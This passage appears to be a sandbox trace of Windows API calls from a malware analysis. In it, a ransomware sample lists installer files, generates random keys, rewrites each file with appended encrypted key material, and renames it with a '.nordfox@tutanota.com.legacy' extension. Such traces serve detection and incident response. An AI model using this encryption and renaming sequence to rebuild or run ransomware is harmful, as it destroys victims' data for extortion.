(HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0105.582] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0105.582] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d7d962, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d7d962, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.583] GetLastError () returned 0x0 [0105.583] SetLastError (dwErrCode=0x0) [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0105.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.583] GetLastError () returned 0x0 [0105.583] SetLastError (dwErrCode=0x0) [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.583] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0105.583] GetLastError () returned 0x0 [0105.583] SetLastError (dwErrCode=0x0) [0105.583] GetLastError () returned 0x0 [0105.583] SetLastError (dwErrCode=0x0) [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0105.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0105.583] GetLastError () returned 0x0 [0105.583] SetLastError (dwErrCode=0x0) [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0105.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0105.583] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0105.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.583] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0105.583] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.584] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0105.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0105.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0105.584] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0105.584] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18776) returned 1 [0105.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5c0f88 [0105.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5c58e8 [0105.584] ReadFile (in: hFile=0x4dc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0105.598] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.599] WriteFile (in: hFile=0x4dc, lpBuffer=0x5c58e8*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c58e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0105.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c58e8 | out: hHeap=0x520000) returned 1 [0105.599] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4958 [0105.599] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.599] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.599] WriteFile (in: hFile=0x4dc, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.600] WriteFile (in: hFile=0x4dc, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.600] CloseHandle (hObject=0x4dc) returned 1 [0105.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0105.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.600] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0105.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0105.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0105.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0105.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.602] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0105.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0105.602] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0105.603] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80254) returned 1 [0105.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1397e) returned 0x5c0f88 [0105.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1397e) returned 0x2f20048 [0105.604] ReadFile (in: hFile=0x4dc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x1397e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x1397e, lpOverlapped=0x0) returned 1 [0105.616] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-80254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.616] WriteFile (in: hFile=0x4dc, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x1397e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1397e, lpOverlapped=0x0) returned 1 [0105.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.621] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1397e [0105.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.623] WriteFile (in: hFile=0x4dc, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.623] WriteFile (in: hFile=0x4dc, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.623] CloseHandle (hObject=0x4dc) returned 1 [0105.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0105.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.623] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0105.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0105.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0105.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0105.625] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0105.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0105.626] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0105.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0105.626] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0105.626] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4015) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfaf) returned 0x5c0f88 [0105.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfaf) returned 0x5c1f40 [0105.626] ReadFile (in: hFile=0x4dc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xfaf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xfaf, lpOverlapped=0x0) returned 1 [0105.637] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-4015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.637] WriteFile (in: hFile=0x4dc, lpBuffer=0x5c1f40*, nNumberOfBytesToWrite=0xfaf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfaf, lpOverlapped=0x0) returned 1 [0105.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1f40 | out: hHeap=0x520000) returned 1 [0105.637] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfaf [0105.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.638] WriteFile (in: hFile=0x4dc, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.642] WriteFile (in: hFile=0x4dc, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.642] CloseHandle (hObject=0x4dc) returned 1 [0105.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0105.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0105.642] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\2070\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0105.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0105.648] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0da8 [0105.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0105.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0105.648] GetLastError () returned 0x0 [0105.648] SetLastError (dwErrCode=0x0) [0105.648] GetLastError () returned 0x0 [0105.648] SetLastError (dwErrCode=0x0) [0105.648] GetLastError () returned 0x0 [0105.649] SetLastError (dwErrCode=0x0) [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567230 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0aa8 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0aa8 | out: hHeap=0x520000) returned 1 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567230 | out: hHeap=0x520000) returned 1 [0105.649] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0105.649] GetLastError () returned 0x0 [0105.649] SetLastError (dwErrCode=0x0) [0105.649] GetLastError () returned 0x0 [0105.649] SetLastError (dwErrCode=0x0) [0105.649] GetLastError () returned 0x0 [0105.649] SetLastError (dwErrCode=0x0) [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0105.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0aa8 [0105.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0aa8 | out: hHeap=0x520000) returned 1 [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0105.650] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0105.650] GetLastError () returned 0x0 [0105.650] SetLastError (dwErrCode=0x0) [0105.650] GetLastError () returned 0x0 [0105.650] SetLastError (dwErrCode=0x0) [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0105.650] GetLastError () returned 0x0 [0105.650] SetLastError (dwErrCode=0x0) [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0105.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0105.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0105.650] FindNextFileW (in: hFindFile=0x5a0da8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0xa0000003, dwReserved1=0x728d443f, 